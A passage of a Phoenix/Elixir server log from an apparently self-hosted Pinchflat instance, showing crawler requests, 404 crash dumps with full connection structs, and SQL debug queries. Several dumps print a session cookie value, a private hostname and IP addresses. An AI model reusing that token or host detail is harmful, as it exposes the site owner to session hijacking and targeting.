:execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/37/media/1564182/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56586}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/37/media/1564182/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/37/media/1564182/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56586}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23636.0>, params: %{}, path_info: ["sources", "3 (truncated) 18:14:38.902 [info] GET /sources/25/media/1564178/force_download 18:14:38.903 [debug] QUERY OK source="settings" db=0.1ms idle=182.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.903 [debug] QUERY OK source="settings" db=0.1ms idle=182.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.903 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:14:38.903 [error] #PID<0.23638.0> running PinchflatWeb.Endpoint (connection #PID<0.23637.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/25/media/1564178/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/25/media/1564178/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/25/media/1564178/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23638.0>, params: %{}, path_info: ["sources", "25", "media", "1564178", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/25/media/1564178/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI6dZN9QDIZVsABjWi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/25/media/1564178/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/25/media/1564178/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23637.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/25/media/1564178/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23638.0>, params: %{}, path_info: ["sources", "2 (truncated) 18:14:38.993 [info] GET /sources/2/media/1564181/force_download 18:14:38.993 [debug] QUERY OK source="settings" db=0.1ms idle=181.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.993 [debug] QUERY OK source="settings" db=0.0ms idle=182.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.993 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:14:38.993 [error] #PID<0.23640.0> running PinchflatWeb.Endpoint (connection #PID<0.23639.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/2/media/1564181/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/1564181/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/1564181/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23640.0>, params: %{}, path_info: ["sources", "2", "media", "1564181", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/media/1564181/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMI6duyAQZkQsUACbPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/1564181/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/1564181/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23639.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/1564181/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 56616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeEJ6a3M1TjR3Smx1YlA4OWw4RXJ3UGlV.QQctEcnqjjCQPIB831ZrxnsZyG33-ypGyYiQO1_fA80" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23640.0>, params: %{}, path_info: ["sources", "2", "medi (truncated) 18:14:39.084 [info] GET /media/ad229280-34dd-4b01-a1a5-13791ca80f1e/stream 18:14:39.084 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "ad229280-34dd-4b01-a1a5-13791ca80f1e"} Pipelines: [:maybe_basic_auth] 18:14:39.084 [debug] QUERY OK source="media_items" db=0.2ms idle=199.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["ad229280-34dd-4b01-a1a5-13791ca80f1e"] 18:14:39.084 [debug] Invalid range request for media item: ad229280-34dd-4b01-a1a5-13791ca80f1e - serving full file 18:14:39.084 [info] Sent 200 in 572µs 18:14:39.178 [info] GET /media/2895fc3f-a3e7-4756-ada4-c8bad5c68419/stream 18:14:39.179 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "2895fc3f-a3e7-4756-ada4-c8bad5c68419"} Pipelines: [:maybe_basic_auth] 18:14:39.179 [debug] QUERY OK source="media_items" db=0.2ms idle=276.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["2895fc3f-a3e7-4756-ada4-c8bad5c68419"] 18:14:39.179 [debug] Invalid range request for media item: 2895fc3f-a3e7-4756-ada4-c8bad5c68419 - serving full file 18:14:39.179 [info] Sent 200 in 951µs 18:14:39.281 [info] GET /media/66dfd4e3-76ce-4427-a8c4-1643ad995e33/stream 18:14:39.281 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "66dfd4e3-76ce-4427-a8c4-1643ad995e33"} Pipelines: [:maybe_basic_auth] 18:14:39.283 [debug] QUERY OK source="media_items" db=0.8ms idle=378.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["66dfd4e3-76ce-4427-a8c4-1643ad995e33"] 18:14:39.283 [debug] Invalid range request for media item: 66dfd4e3-76ce-4427-a8c4-1643ad995e33 - serving full file 18:14:39.283 [info] Sent 200 in 1ms 18:14:39.362 [info] GET /sources/25/media/1563621 18:14:39.362 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563621", "source_id" => "25"} Pipelines: [:browser] 18:14:39.362 [debug] QUERY OK source="media_items" db=0.1ms idle=369.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563621] 18:14:39.363 [debug] QUERY OK source="sources" db=0.2ms idle=278.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:39.363 [debug] QUERY OK source="tasks" db=0.2ms idle=369.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563621] 18:14:39.363 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=184.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3725494] 18:14:39.363 [debug] QUERY OK source="settings" db=0.0ms idle=80.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:39.363 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:39.364 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:39.364 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:39.365 [info] Sent 200 in 2ms 18:15:00.126 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:00.377 [info] {"source":"oban","duration":7544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:18.886 [info] GET /sources/30 18:15:18.886 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 18:15:18.886 [debug] QUERY OK source="sources" db=0.1ms idle=1008.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 18:15:18.886 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:15:19.068 [info] GET /sources/30/edit 18:15:19.068 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 18:15:19.068 [debug] QUERY OK source="sources" 